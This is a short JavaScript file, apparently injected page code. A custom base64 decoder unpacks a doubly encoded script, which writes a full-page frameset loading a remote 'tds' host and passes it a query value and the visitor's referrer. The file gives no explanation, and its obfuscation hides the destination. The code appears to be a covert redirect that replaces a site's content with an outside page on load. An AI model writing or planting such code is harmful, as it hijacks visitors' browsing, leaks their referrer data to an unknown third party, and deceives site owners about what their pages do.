function b64d(input) {
	var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
	var output = "";
	var chr1, chr2, chr3;
	var enc1, enc2, enc3, enc4;
	var i = 0;
	do {
		enc1 = keyStr.indexOf(input.charAt(i++));
		enc2 = keyStr.indexOf(input.charAt(i++));
		enc3 = keyStr.indexOf(input.charAt(i++));
		enc4 = keyStr.indexOf(input.charAt(i++));
		chr1 = (enc1 << 2) | (enc2 >> 4);
		chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
		chr3 = ((enc3 & 3) << 6) | enc4;
		output = output + String.fromCharCode(chr1);
		if (enc3 != 64) {
			output = output + String.fromCharCode(chr2);
		}
		if (enc4 != 64) {
			output = output + String.fromCharCode(chr3);
		}
	} while (i < input.length);
	return output;
}
document.write(b64d('PHNjcmlwdD52YXIgbD1iNjRkKCdhSFIwY0RvdkwzUmtjeTVtTFcxbUxtOXlaeTgvJykrJ3E9JytxO2lmIChyKSBsICs9ICcmZj0nK2VzY2FwZShyKTt2YXIgb3V0ID0gYjY0ZCgnUEdaeVlXMWxjMlYwSUhKdmQzTTlNVEF3SlN3d0lHWnlZVzFsWW05eVpHVnlQVTVQSUdKdmNtUmxjajB3SUdaeVlXMWxjM0JoWTJsdVp6MHdQZz09Jyk7b3V0ICs9IGI2NGQoJ1BHWnlZVzFsSUhOeVl6MD0nKTtvdXQgKz0gbDtvdXQgKz0gYjY0ZCgnSUc1aGJXVTliV1p5SUdsa1BXMW1jaUJOUVZKSFNVNVhTVVJVU0Qwd0lFMUJVa2RKVGtoRlNVZElWRDB3SUZORFVrOU1URWxPUnoxQlZWUlBQZz09Jyk7b3V0ICs9IGI2NGQoJ1BDOW1jbUZ0WlhObGRENDhibTltY21GdFpYTSsnKTtkb2N1bWVudC53cml0ZShvdXQpOzwvc2NyaXB0Pg=='));